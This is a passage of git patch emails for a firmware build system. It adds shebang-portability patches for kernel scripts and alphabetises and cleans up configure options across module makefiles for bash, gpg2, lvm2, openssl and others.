b/scripts/bloat-o-meter +index d7ca46c612b3..652e9542043f 100755 +--- a/scripts/bloat-o-meter ++++ b/scripts/bloat-o-meter +@@ -1,4 +1,4 @@ +-#!/usr/bin/python ++#!/usr/bin/env python + # + # Copyright 2004 Matt Mackall + # +diff --git a/scripts/check-sysctl-docs b/scripts/check-sysctl-docs +index 8bcb9e26c7bc..90137319c50a 100755 +--- a/scripts/check-sysctl-docs ++++ b/scripts/check-sysctl-docs +@@ -1,4 +1,4 @@ +-#!/usr/bin/gawk -f ++#!/usr/bin/env -S gawk -f + # SPDX-License-Identifier: GPL-2.0 + + # Script to check sysctl documentation against source files +diff --git a/scripts/diffconfig b/scripts/diffconfig +index 89abf777f197..627eba5849b5 100755 +--- a/scripts/diffconfig ++++ b/scripts/diffconfig +@@ -1,4 +1,4 @@ +-#!/usr/bin/python ++#!/usr/bin/env python + # SPDX-License-Identifier: GPL-2.0 + # + # diffconfig - a tool to compare .config files. +diff --git a/scripts/get_abi.pl b/scripts/get_abi.pl +index 68dab828a722..92d9aa6cc4f5 100755 +--- a/scripts/get_abi.pl ++++ b/scripts/get_abi.pl +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl ++#!/usr/bin/env perl + # SPDX-License-Identifier: GPL-2.0 + + use strict; +diff --git a/scripts/ld-version.sh b/scripts/ld-version.sh +index f2be0ff9a738..7a5b546ece16 100755 +--- a/scripts/ld-version.sh ++++ b/scripts/ld-version.sh +@@ -1,4 +1,4 @@ +-#!/usr/bin/awk -f ++#!/usr/bin/env -S awk -f + # SPDX-License-Identifier: GPL-2.0 + # extract linker version number from stdin and turn into single number + { +diff --git a/scripts/parse-maintainers.pl b/scripts/parse-maintainers.pl +index 2ca4eb3f190d..9515765158fa 100755 +--- a/scripts/parse-maintainers.pl ++++ b/scripts/parse-maintainers.pl +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl -w ++#!/usr/bin/env -S perl -w + # SPDX-License-Identifier: GPL-2.0 + + use strict; +diff --git a/scripts/show_delta b/scripts/show_delta +index 264399307c4f..28e67e178194 100755 +--- a/scripts/show_delta ++++ b/scripts/show_delta +@@ -1,4 +1,4 @@ +-#!/usr/bin/python ++#!/usr/bin/env python + # SPDX-License-Identifier: GPL-2.0-only + # + # show_deltas: Read list of printk messages instrumented with +diff --git a/scripts/sphinx-pre-install b/scripts/sphinx-pre-install +index 40fa6923e80a..828a8615a918 100755 +--- a/scripts/sphinx-pre-install ++++ b/scripts/sphinx-pre-install +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl ++#!/usr/bin/env perl + # SPDX-License-Identifier: GPL-2.0-or-later + use strict; + +diff --git a/scripts/split-man.pl b/scripts/split-man.pl +index c3db607ee9ec..96bd99dc977a 100755 +--- a/scripts/split-man.pl ++++ b/scripts/split-man.pl +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl ++#!/usr/bin/env perl + # SPDX-License-Identifier: GPL-2.0 + # + # Author: Mauro Carvalho Chehab +diff --git a/scripts/ver_linux b/scripts/ver_linux +index 0968a3070eff..345b92f71d2d 100755 +--- a/scripts/ver_linux ++++ b/scripts/ver_linux +@@ -1,4 +1,4 @@ +-#!/usr/bin/awk -f ++#!/usr/bin/env -S awk -f + # SPDX-License-Identifier: GPL-2.0 + # Before running this script please ensure that your PATH is + # typical as you use for compilation/installation. I use diff --git a/patches/linux-5.5-openpower/shebangs.patch b/patches/linux-5.5-openpower/shebangs.patch new file mode 100644 index 000000000..38f5cb533 --- /dev/null +++ b/patches/linux-5.5-openpower/shebangs.patch @@ -0,0 +1,190 @@ +diff --git a/scripts/bloat-o-meter b/scripts/bloat-o-meter +index 8c965f6a9881..bcd66a014453 100755 +--- a/scripts/bloat-o-meter ++++ b/scripts/bloat-o-meter +@@ -1,4 +1,4 @@ +-#!/usr/bin/python ++#!/usr/bin/env python + # + # Copyright 2004 Matt Mackall + # +diff --git a/scripts/coccicheck b/scripts/coccicheck +index e04d328210ac..851c3307ca74 100755 +--- a/scripts/coccicheck ++++ b/scripts/coccicheck +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0 + # Linux kernel coccicheck + # +diff --git a/scripts/config b/scripts/config +index e0e39826dae9..ba11e350e8af 100755 +--- a/scripts/config ++++ b/scripts/config +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0 + # Manipulate options in a .config file from the command line + +diff --git a/scripts/decode_stacktrace.sh b/scripts/decode_stacktrace.sh +index 13e5fbafdf2f..8c22ac90123b 100755 +--- a/scripts/decode_stacktrace.sh ++++ b/scripts/decode_stacktrace.sh +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0 + # (c) 2014, Sasha Levin + #set -x +diff --git a/scripts/diffconfig b/scripts/diffconfig +index 89abf777f197..627eba5849b5 100755 +--- a/scripts/diffconfig ++++ b/scripts/diffconfig +@@ -1,4 +1,4 @@ +-#!/usr/bin/python ++#!/usr/bin/env python + # SPDX-License-Identifier: GPL-2.0 + # + # diffconfig - a tool to compare .config files. +diff --git a/scripts/faddr2line b/scripts/faddr2line +index 6c6439f69a72..5079957d4993 100755 +--- a/scripts/faddr2line ++++ b/scripts/faddr2line +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0 + # + # Translate stack dump function offsets. +diff --git a/scripts/find-unused-docs.sh b/scripts/find-unused-docs.sh +index 3f46f8977dc4..363e7ecab554 100755 +--- a/scripts/find-unused-docs.sh ++++ b/scripts/find-unused-docs.sh +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # (c) 2017, Jonathan Corbet + # sayli karnik + # +diff --git a/scripts/get_abi.pl b/scripts/get_abi.pl +index c738cb795514..ba87b230fe0a 100755 +--- a/scripts/get_abi.pl ++++ b/scripts/get_abi.pl +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl ++#!/usr/bin/env perl + # SPDX-License-Identifier: GPL-2.0 + + use strict; +diff --git a/scripts/gfp-translate b/scripts/gfp-translate +index b2ce416d944b..2fcea3e9afb3 100755 +--- a/scripts/gfp-translate ++++ b/scripts/gfp-translate +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0-only + # Translate the bits making up a GFP mask + # (c) 2009, Mel Gorman +diff --git a/scripts/ld-version.sh b/scripts/ld-version.sh +index f2be0ff9a738..081efc679705 100755 +--- a/scripts/ld-version.sh ++++ b/scripts/ld-version.sh +@@ -1,4 +1,4 @@ +-#!/usr/bin/awk -f ++#!/usr/bin/env -S awk -f + # SPDX-License-Identifier: GPL-2.0 + # extract linker version number from stdin and turn into single number + { +diff --git a/scripts/mkuboot.sh b/scripts/mkuboot.sh +index 4b1fe09e9042..0b6df121a3b5 100755 +--- a/scripts/mkuboot.sh ++++ b/scripts/mkuboot.sh +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0 + + # +diff --git a/scripts/objdiff b/scripts/objdiff +index 72b0b63c3fe1..95f087300637 100755 +--- a/scripts/objdiff ++++ b/scripts/objdiff +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0-only + + # objdiff - a small script for validating that a commit or series of commits +diff --git a/scripts/parse-maintainers.pl b/scripts/parse-maintainers.pl +index 255cef1b098d..c2d11c87fdb4 100644 +--- a/scripts/parse-maintainers.pl ++++ b/scripts/parse-maintainers.pl +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl -w ++#!/usr/bin/env -S perl -w + # SPDX-License-Identifier: GPL-2.0 + + use strict; +diff --git a/scripts/prune-kernel b/scripts/prune-kernel +index e8aa940bc0a9..620230f677bc 100755 +--- a/scripts/prune-kernel ++++ b/scripts/prune-kernel +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0 + + # because I use CONFIG_LOCALVERSION_AUTO, not the same version again and +diff --git a/scripts/show_delta b/scripts/show_delta +index 264399307c4f..28e67e178194 100755 +--- a/scripts/show_delta ++++ b/scripts/show_delta +@@ -1,4 +1,4 @@ +-#!/usr/bin/python ++#!/usr/bin/env python + # SPDX-License-Identifier: GPL-2.0-only + # + # show_deltas: Read list of printk messages instrumented with +diff --git a/scripts/sphinx-pre-install b/scripts/sphinx-pre-install +index 470ccfe678aa..214ed660c0d0 100755 +--- a/scripts/sphinx-pre-install ++++ b/scripts/sphinx-pre-install +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl ++#!/usr/bin/env perl + # SPDX-License-Identifier: GPL-2.0-or-later + use strict; + +diff --git a/scripts/split-man.pl b/scripts/split-man.pl +index c3db607ee9ec..96bd99dc977a 100755 +--- a/scripts/split-man.pl ++++ b/scripts/split-man.pl +@@ -1,4 +1,4 @@ +-#!/usr/bin/perl ++#!/usr/bin/env perl + # SPDX-License-Identifier: GPL-2.0 + # + # Author: Mauro Carvalho Chehab +diff --git a/scripts/tags.sh b/scripts/tags.sh +index 4e18ae5282a6..02c08d460997 100755 +--- a/scripts/tags.sh ++++ b/scripts/tags.sh +@@ -1,4 +1,4 @@ +-#!/bin/bash ++#!/usr/bin/env bash + # SPDX-License-Identifier: GPL-2.0-only + # Generate tags or cscope files + # Usage tags.sh +diff --git a/scripts/ver_linux b/scripts/ver_linux +index 85005d6b7f10..34e4530fd5b6 100755 +--- a/scripts/ver_linux ++++ b/scripts/ver_linux +@@ -1,4 +1,4 @@ +-#!/usr/bin/awk -f ++#!/usr/bin/env -S awk -f + # SPDX-License-Identifier: GPL-2.0 + # Before running this script please ensure that your PATH is + # typical as you use for compilation/installation. I use diff --git a/patches/slang-2.3.1a/unhardcode-ln-in-Makefile.patch b/patches/slang-2.3.1a/unhardcode-ln-in-Makefile.patch new file mode 100644 index 000000000..590e06915 --- /dev/null +++ b/patches/slang-2.3.1a/unhardcode-ln-in-Makefile.patch @@ -0,0 +1,13 @@ +diff --git a/src/Makefile.in b/src/Makefile.in +index 7fe4dc2..38fe174 100644 +--- a/src/Makefile.in ++++ b/src/Makefile.in +@@ -75,7 +75,7 @@ RM = rm -f + RM_R = rm -rf + AR_CR = ar cr + RMDIR = rmdir +-LN = /bin/ln -sf ++LN = ln -sf + CP = cp + @SET_MAKE@ + #--------------------------------------------------------------------------- From a4ba76fd90f04c1ddb95a4cc045b56b9b6df22c6 Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Sun, 28 Jan 2024 22:55:11 -0500 Subject: [PATCH 065/619] modules: minor refactor/tweaks Just some minor clean ups like fixing whitespace and sorting things. I added (bash)/removed (libusb) white space in order to look like the other modules. I sorted the --enable/--disable/--with blocks so that common stuff looked similar which should aid in comparing modules. I also removed a couple of duplicate config options (--disable-fallback-curses & --disable-regex). Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- modules/bash | 12 ++++++------ modules/cairo | 12 +++++++++--- modules/cryptsetup2 | 2 +- modules/dropbear | 2 +- modules/gpg | 16 ++++++++-------- modules/gpg2 | 41 ++++++++++++++++++++--------------------- modules/ioport | 2 +- modules/kbd | 4 ++-- modules/libassuan | 2 +- modules/libgcrypt | 2 +- modules/libgpg-error | 8 ++++---- modules/libnitrokey | 10 +++++----- modules/libusb | 10 +++++----- modules/lvm2 | 18 +++++++++--------- modules/newt | 2 +- modules/openssl | 5 ++++- modules/pinentry | 13 ++++++------- modules/popt | 3 +-- modules/powerpc-utils | 2 +- modules/qrencode | 2 +- modules/slang | 8 ++++---- modules/tpm2-tss | 2 +- modules/util-linux | 12 ++++++------ 23 files changed, 98 insertions(+), 92 deletions(-) diff --git a/modules/bash b/modules/bash index e29fed726..62f063f93 100644 --- a/modules/bash +++ b/modules/bash @@ -14,16 +14,16 @@ bash_configure := CFLAGS="-g0 -Os" LDFLAGS="-s" ./configure \ $(CROSS_TOOLS) \ --host $(target) \ --prefix="/usr" \ - --enable-largefile \ - --infodir=/usr/share/info \ - --mandir=/usr/share/man \ - --without-bash-malloc \ + --infodir=/usr/share/info \ + --mandir=/usr/share/man \ --disable-coprocesses \ - --enable-debugger \ --disable-net-redirections \ - --enable-single-help-strings \ --disable-nls \ + --enable-debugger \ + --enable-largefile \ --enable-readline \ + --enable-single-help-strings \ + --without-bash-malloc bash_target := $(MAKE_JOBS) \ && $(MAKE) -C $(build)/$(bash_dir) \ diff --git a/modules/cairo b/modules/cairo index b4970652a..81d71e9a4 100644 --- a/modules/cairo +++ b/modules/cairo @@ -12,10 +12,16 @@ cairo_configure := \ ./configure \ --host $(MUSL_ARCH)-elf-linux \ --prefix="/" \ - --disable-xlib --disable-xcb --disable-pdf \ - --disable-ps --disable-svg --disable-script \ - --disable-ft --disable-fc --disable-pthread \ + --disable-fc \ + --disable-ft \ --disable-gobject \ + --disable-pdf \ + --disable-ps \ + --disable-pthread \ + --disable-script \ + --disable-svg \ + --disable-xcb \ + --disable-xlib \ && sed \ -e 's/^hardcode_libdir_flag_spec.*/hardcode_libdir_flag_spec=" -D__LIBTOOL_RPATH_DISABLE__ "/' \ < libtool \ diff --git a/modules/cryptsetup2 b/modules/cryptsetup2 index b7ffd8d43..6becf6db8 100644 --- a/modules/cryptsetup2 +++ b/modules/cryptsetup2 @@ -16,8 +16,8 @@ cryptsetup2_configure := \ ./configure \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ - --disable-rpath \ --disable-gcrypt-pbkdf2 \ + --disable-rpath \ --enable-cryptsetup-reencrypt \ --with-crypto_backend=kernel \ --with-tmpfilesdir=$(INSTALL)/lib/tmpfiles.d diff --git a/modules/dropbear b/modules/dropbear index 285f97bb7..ac32a59ca 100644 --- a/modules/dropbear +++ b/modules/dropbear @@ -11,8 +11,8 @@ dropbear_configure := ./configure \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ - --disable-syslog \ --disable-lastlog \ + --disable-syslog \ --disable-utmp \ --disable-utmpx \ --disable-wtmp \ diff --git a/modules/gpg b/modules/gpg index e6b8f2c52..7bab72e71 100644 --- a/modules/gpg +++ b/modules/gpg @@ -23,20 +23,20 @@ gpg_configure := \ ./configure \ --build $(MUSL_ARCH)-elf-linux \ --host $(MUSL_ARCH)-linux-musl \ - --with-libusb="$(INSTALL)" \ --prefix "/" \ - --enable-card-support \ - --disable-bzip2 \ --disable-asm \ + --disable-bzip2 \ + --disable-dns-cert \ + --disable-dns-srv \ --disable-exec \ - --disable-photo-viewers \ + --disable-finger \ + --disable-hkp \ --disable-keyserver-helpers \ --disable-ldap \ - --disable-hkp \ - --disable-finger \ - --disable-dns-srv \ - --disable-dns-cert \ + --disable-photo-viewers \ --disable-regex \ + --enable-card-support \ + --with-libusb="$(INSTALL)" \ # Run one build to generate the executables with the pre-defined # exec_prefix and datarootdir, then a second make to install the binaries diff --git a/modules/gpg2 b/modules/gpg2 index 141dbeb3b..6190ec5c2 100644 --- a/modules/gpg2 +++ b/modules/gpg2 @@ -18,35 +18,34 @@ gpg2_configure := \ ./configure \ CPPFLAGS="-I$(INSTALL)/include/libusb-1.0" \ --host $(MUSL_ARCH)-linux-musl \ - --with-libusb="$(INSTALL)" \ - --with-gpg-error-prefix="$(INSTALL)" \ - --with-libgcrypt-prefix="$(INSTALL)" \ - --with-libassuan-prefix="$(INSTALL)" \ - --with-ksba-prefix="$(INSTALL)" \ - --with-npth-prefix="$(INSTALL)" \ --prefix "/" \ --libexecdir "/bin" \ - --enable-scdaemon \ - --enable-ccid-driver \ - --disable-tofu \ - --disable-rpath \ - --disable-regex \ - --disable-doc \ + --disable-all-tests \ --disable-bzip2 \ + --disable-dirmngr \ + --disable-doc \ --disable-exec \ - --disable-photo-viewers \ + --disable-gnutls \ + --disable-gpgsm \ --disable-ldap \ - --disable-regex \ + --disable-libdns \ --disable-nls \ - --disable-all-tests \ - --disable-wks-tools \ - --disable-gnutls \ - --disable-dirmngr \ --disable-ntbtls \ - --disable-libdns \ - --disable-zip \ + --disable-photo-viewers \ + --disable-regex \ + --disable-rpath \ --disable-sqlite \ - --disable-gpgsm \ + --disable-tofu \ + --disable-wks-tools \ + --disable-zip \ + --enable-ccid-driver \ + --enable-scdaemon \ + --with-gpg-error-prefix="$(INSTALL)" \ + --with-ksba-prefix="$(INSTALL)" \ + --with-libassuan-prefix="$(INSTALL)" \ + --with-libgcrypt-prefix="$(INSTALL)" \ + --with-libusb="$(INSTALL)" \ + --with-npth-prefix="$(INSTALL)" \ # Run one build to generate the executables with the pre-defined # exec_prefix and datarootdir, then a second make to install the binaries diff --git a/modules/ioport b/modules/ioport index 2d1c6b352..ab25c9299 100644 --- a/modules/ioport +++ b/modules/ioport @@ -8,8 +8,8 @@ ioport_hash := 7fac1c4b61eb9411275de0e1e7d7a8c3f34166f64f16413f50741e8fce2b8dc0 ioport_configure := CFLAGS=-Os ./configure \ $(CROSS_TOOLS) \ + --host i386-elf-linux \ --prefix "/" \ - --host i386-elf-linux ioport_target := \ $(MAKE_JOBS) $(CROSS_TOOLS) inb && \ diff --git a/modules/kbd b/modules/kbd index f6d3f405a..2286e5cc7 100644 --- a/modules/kbd +++ b/modules/kbd @@ -16,11 +16,11 @@ kbd_hash := aaed530a1490d63d041448372e2ad4f38c3179042903251000b71d527c46e945 kbd_configure := CFLAGS=-Os ./configure \ $(CROSS_TOOLS) \ - --prefix "" \ --host i386-elf-linux \ - --disable-optional-progs \ + --prefix "" \ --disable-libkeymap \ --disable-libkfont \ + --disable-optional-progs \ --disable-vlock \ kbd_target := \ diff --git a/modules/libassuan b/modules/libassuan index a2536be7c..e641854f5 100644 --- a/modules/libassuan +++ b/modules/libassuan @@ -12,8 +12,8 @@ libassuan_configure := \ ./configure \ --host $(MUSL_ARCH)-linux-musl \ --prefix "/" \ - --disable-static \ --disable-doc \ + --disable-static \ --with-gpg-error-prefix="$(INSTALL)" \ libassuan_target := $(MAKE_JOBS) \ diff --git a/modules/libgcrypt b/modules/libgcrypt index c46fe6085..a3ece058b 100644 --- a/modules/libgcrypt +++ b/modules/libgcrypt @@ -12,9 +12,9 @@ libgcrypt_configure := \ ./configure \ --host=$(MUSL_ARCH)-linux-musl \ --prefix "/" \ + --disable-doc \ --disable-static \ --with-gpg-error-prefix="$(INSTALL)" \ - --disable-doc \ libgcrypt_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ diff --git a/modules/libgpg-error b/modules/libgpg-error index 28b01f32b..0c8553560 100644 --- a/modules/libgpg-error +++ b/modules/libgpg-error @@ -10,12 +10,12 @@ libgpg-error_configure := \ $(CROSS_TOOLS) \ CFLAGS="-Os" \ ./configure \ - --prefix "/" \ --host=$(MUSL_ARCH)-linux-musl \ - --disable-static \ - --disable-nls \ - --disable-languages \ + --prefix "/" \ --disable-doc \ + --disable-languages \ + --disable-nls \ + --disable-static \ --disable-tests \ --enable-install-gpg-error-config \ diff --git a/modules/libnitrokey b/modules/libnitrokey index 455680f48..8bdb7116b 100644 --- a/modules/libnitrokey +++ b/modules/libnitrokey @@ -14,20 +14,20 @@ libnitrokey_hash := 4f3382b6193afe69c2001321038fce9490bc28803ed687152a397ccd8914 cmake_cross := "-DCMAKE_AR=$(CROSS)ar" \ -DCMAKE_CXX_COMPILER="$(CROSS)g++" \ - -DCMAKE_C_COMPILER="$(CROSS)gcc" \ + -DCMAKE_CXX_COMPILER_AR="$(CROSS)ar" \ -DCMAKE_CXX_FLAGS="-Os -fdata-sections -ffunction-sections -ffile-prefix-map=$(pwd)=heads -gno-record-gcc-switches -D__MUSL__ -I$(INSTALL)/include -L$(INSTALL)/lib " \ + -DCMAKE_C_COMPILER="$(CROSS)gcc" \ -DCMAKE_LINKER="$(CROSS)ld" - -DCMAKE_SHARED_LINKER_FLAGS="-gc-sections" - -DCMAKE_CXX_COMPILER_AR="$(CROSS)ar" \ -DCMAKE_NM="$(CROSS)nm" \ - -DCMAKE_OBJDUMP="$(CROSS)objdump" \ -DCMAKE_OBCOPY="$(CROSS)obcopy" \ + -DCMAKE_OBJDUMP="$(CROSS)objdump" \ + -DCMAKE_SHARED_LINKER_FLAGS="-gc-sections" -DCMAKE_STRIP="$(CROSS)strip" libnitrokey_configure := \ mkdir build -p && \ cd build && \ - $(CROSS_TOOLS) cmake .. -DNO_LOG=ON -DBUILD_SHARED_LIBS=OFF -DCOMPILE_TESTS=OFF -DCMAKE_INSTALL_PREFIX=/ -DCMAKE_INSTALL_LIBDIR=lib -DCMAKE_BUILD_TYPE=MinSizeRel $(cmake_cross) + $(CROSS_TOOLS) cmake .. -DBUILD_SHARED_LIBS=OFF -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_INSTALL_LIBDIR=lib -DCMAKE_INSTALL_PREFIX=/ -DCOMPILE_TESTS=OFF -DNO_LOG=ON $(cmake_cross) # install "by-hand" as INSTALL_PREFIX is not working as expected libnitrokey_target := $(CROSS_TOOLS) $(MAKE_JOBS) -C build DESTDIR="$(INSTALL)" && \ diff --git a/modules/libusb b/modules/libusb index a3d40c563..2e9569f43 100644 --- a/modules/libusb +++ b/modules/libusb @@ -12,11 +12,11 @@ libusb_hash := 7dce9cce9a81194b7065ee912bcd55eeffebab694ea403ffb91b67db66b1824b libusb_configure := \ CFLAGS="-Os" \ ./configure \ - $(CROSS_TOOLS)\ - --host $(MUSL_ARCH)-elf-linux\ - --prefix "/"\ - --disable-udev\ - --disable-tests\ + $(CROSS_TOOLS) \ + --host $(MUSL_ARCH)-elf-linux \ + --prefix "/" \ + --disable-tests \ + --disable-udev \ # Run one build to generate the executables with the pre-defined # exec_prefix and datarootdir, then a second make to install the binaries diff --git a/modules/lvm2 b/modules/lvm2 index be1435a36..e51292d6d 100644 --- a/modules/lvm2 +++ b/modules/lvm2 @@ -18,20 +18,20 @@ lvm2_configure := \ ./configure \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ - --enable-devmapper \ - --disable-selinux \ - --disable-udev-systemd-background-jobs \ - --disable-realtime \ + --disable-blkid_wiping \ + --disable-cache_check_needs_check \ + --disable-cmirrord \ --disable-dmeventd \ --disable-lvmetad \ --disable-lvmpolld \ - --disable-use-lvmlockd \ + --disable-realtime \ + --disable-selinux \ + --disable-thin_check_needs_check \ + --disable-udev-systemd-background-jobs \ --disable-use-lvmetad \ + --disable-use-lvmlockd \ --disable-use-lvmpolld \ - --disable-blkid_wiping \ - --disable-cmirrord \ - --disable-cache_check_needs_check \ - --disable-thin_check_needs_check \ + --enable-devmapper \ --with-cluster=none \ --with-thin-check= \ diff --git a/modules/newt b/modules/newt index 3cd37658e..d9fb2c2d2 100644 --- a/modules/newt +++ b/modules/newt @@ -23,6 +23,6 @@ newt_libraries := \ newt_configure := \ ./autogen.sh && CFLAGS="-Os" ./configure \ $(CROSS_TOOLS) \ - --prefix "/" \ --host $(MUSL_ARCH)-elf-linux \ + --prefix "/" \ --without-tcl diff --git a/modules/openssl b/modules/openssl index a9cbdcf5e..47072442b 100644 --- a/modules/openssl +++ b/modules/openssl @@ -7,6 +7,9 @@ openssl_tar := openssl-$(openssl_version).tar.gz openssl_url := https://www.openssl.org/source/$(openssl_tar) openssl_hash := 6c13d2bf38fdf31eac3ce2a347073673f5d63263398f1f69d0df4a41253e4b3e +# hack to provide path to libgcc +LIBGCC_DIR := $(dir $(shell $(heads_cc) -print-libgcc-file-name)) + # The only optional algorithm that's enabled is SM3. tpm2-tss uses SHA, AES, # and SM3. openssl_configure := \ @@ -14,7 +17,6 @@ openssl_configure := \ CFLAGS="-Os" \ ./Configure \ --prefix="/" \ - no-tests \ linux-$(strip $(arch)) \ no-aria \ no-bf \ @@ -42,6 +44,7 @@ openssl_configure := \ no-siv \ no-sm2 \ no-sm4 \ + no-tests \ no-whirlpool \ openssl_target := $(MAKE_JOBS) \ diff --git a/modules/pinentry b/modules/pinentry index 7fa92cdfe..239c6b755 100644 --- a/modules/pinentry +++ b/modules/pinentry @@ -19,17 +19,16 @@ pinentry_configure := \ ./configure \ --host $(MUSL_ARCH)-linux-musl \ --prefix "/" \ - --enable-pinentry-tty \ - --disable-libsecret \ --disable-fallback-curses \ + --disable-libsecret \ --disable-pinentry-curses \ - --disable-pinentry-qt \ - --disable-pinentry-gtk2 \ - --disable-pinentry-gnome3 \ - --disable-pinentry-fltk \ --disable-pinentry-emacs \ - --disable-fallback-curses \ + --disable-pinentry-fltk \ + --disable-pinentry-gnome3 \ + --disable-pinentry-gtk2 \ + --disable-pinentry-qt \ --disable-pinentry-qt5 \ + --enable-pinentry-tty \ --with-gpg-error-prefix="$(INSTALL)" \ --with-libassuan-prefix="$(INSTALL)" \ diff --git a/modules/popt b/modules/popt index 9a0ec319b..6e24422d6 100644 --- a/modules/popt +++ b/modules/popt @@ -8,9 +8,8 @@ popt_hash := c25a4838fc8e4c1c8aacb8bd620edb3084a3d63bf8987fdad3ca2758c63240f9 popt_configure := ./configure \ $(CROSS_TOOLS) \ - --prefix "/" \ --host $(MUSL_ARCH)-elf-linux \ - + --prefix "/" \ popt_target := \ $(MAKE_JOBS) \ diff --git a/modules/powerpc-utils b/modules/powerpc-utils index dc19d13f6..5526afd8b 100644 --- a/modules/powerpc-utils +++ b/modules/powerpc-utils @@ -13,8 +13,8 @@ powerpc-utils_configure := \ ./configure \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ + --without-librtas \ --without-systemd \ - --without-librtas powerpc-utils_target := \ $(MAKE_JOBS) \ diff --git a/modules/qrencode b/modules/qrencode index 565b98f64..fbfbb870c 100644 --- a/modules/qrencode +++ b/modules/qrencode @@ -12,9 +12,9 @@ qrencode_configure := \ CFLAGS="-Os" \ ./configure \ $(CROSS_TOOLS) \ + --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ --without-tools \ - --host $(MUSL_ARCH)-elf-linux \ qrencode_target := \ $(MAKE_JOBS) \ diff --git a/modules/slang b/modules/slang index 779d6db64..c99c64497 100644 --- a/modules/slang +++ b/modules/slang @@ -9,12 +9,12 @@ slang_hash := 54f0c3007fde918039c058965dffdfd6c5aec0bad0f4227192cc486021f08c36 slang_configure := ./configure \ $(CROSS_TOOLS) \ ac_cv_path_nc5config=ncurses-config \ - --prefix "/" \ --host $(MUSL_ARCH)-elf-linux \ - --with-z=no \ - --with-png=no \ - --with-pcre=no \ + --prefix "/" \ --with-onig=no \ + --with-pcre=no \ + --with-png=no \ + --with-z=no \ && mkdir -p src/elfobjs # Disable parallel make for the install target diff --git a/modules/tpm2-tss b/modules/tpm2-tss index 3795e21f5..c8c1c84e8 100644 --- a/modules/tpm2-tss +++ b/modules/tpm2-tss @@ -22,9 +22,9 @@ tpm2-tss_configure := aclocal && automake --add-missing && autoreconf -fi \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ --disable-doxygen-doc \ + --disable-doxygen-html \ --disable-doxygen-man \ --disable-doxygen-rtf \ - --disable-doxygen-html \ --disable-fapi \ --disable-static \ diff --git a/modules/util-linux b/modules/util-linux index 804ae56ea..9ab8dae55 100644 --- a/modules/util-linux +++ b/modules/util-linux @@ -13,16 +13,16 @@ util-linux_configure := \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ --oldincludedir "$(INSTALL)/include" \ + --disable-all-programs \ + --disable-bash-completion \ + --enable-agetty \ + --enable-libblkid \ + --enable-libuuid \ --without-ncurses \ --without-ncursesw \ + --without-python \ --without-tinfo \ --without-udev \ - --without-python \ - --disable-bash-completion \ - --disable-all-programs \ - --enable-libuuid \ - --enable-libblkid \ - --enable-agetty \ util-linux_target := \ From 67e5973b5db5e0e54480368665c3253d6d42db95 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 24 Jan 2024 12:01:01 -0500 Subject: [PATCH 066/619] modules: Remove unrecognized configure options Signed-off-by: Thierry Laurion Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- modules/gpg2 | 2 -- modules/libusb | 1 - modules/npth | 1 - 3 files changed, 4 deletions(-) diff --git a/modules/gpg2 b/modules/gpg2 index 6190ec5c2..b121febc8 100644 --- a/modules/gpg2 +++ b/modules/gpg2 @@ -32,7 +32,6 @@ gpg2_configure := \ --disable-nls \ --disable-ntbtls \ --disable-photo-viewers \ - --disable-regex \ --disable-rpath \ --disable-sqlite \ --disable-tofu \ @@ -44,7 +43,6 @@ gpg2_configure := \ --with-ksba-prefix="$(INSTALL)" \ --with-libassuan-prefix="$(INSTALL)" \ --with-libgcrypt-prefix="$(INSTALL)" \ - --with-libusb="$(INSTALL)" \ --with-npth-prefix="$(INSTALL)" \ # Run one build to generate the executables with the pre-defined diff --git a/modules/libusb b/modules/libusb index 2e9569f43..56dfc044e 100644 --- a/modules/libusb +++ b/modules/libusb @@ -15,7 +15,6 @@ libusb_configure := \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ --prefix "/" \ - --disable-tests \ --disable-udev \ # Run one build to generate the executables with the pre-defined diff --git a/modules/npth b/modules/npth index b6bdb79db..1bbec1c03 100644 --- a/modules/npth +++ b/modules/npth @@ -11,7 +11,6 @@ npth_configure := ./configure \ --host $(MUSL_ARCH)-linux-musl \ --prefix "/" \ --disable-static \ - --with-gpg-error-prefix="$(INSTALL)" \ npth_target := $(MAKE_JOBS) \ DESTDIR="$(INSTALL)" \ From 236f9b117cf3fcc7424bbe2d6f38dbc06d7663ca Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 30 Jun 2023 14:20:23 -0400 Subject: [PATCH 067/619] modules/gpg2: Bump version 2.4.0 -> 2.4.2 More pending work needed to fix 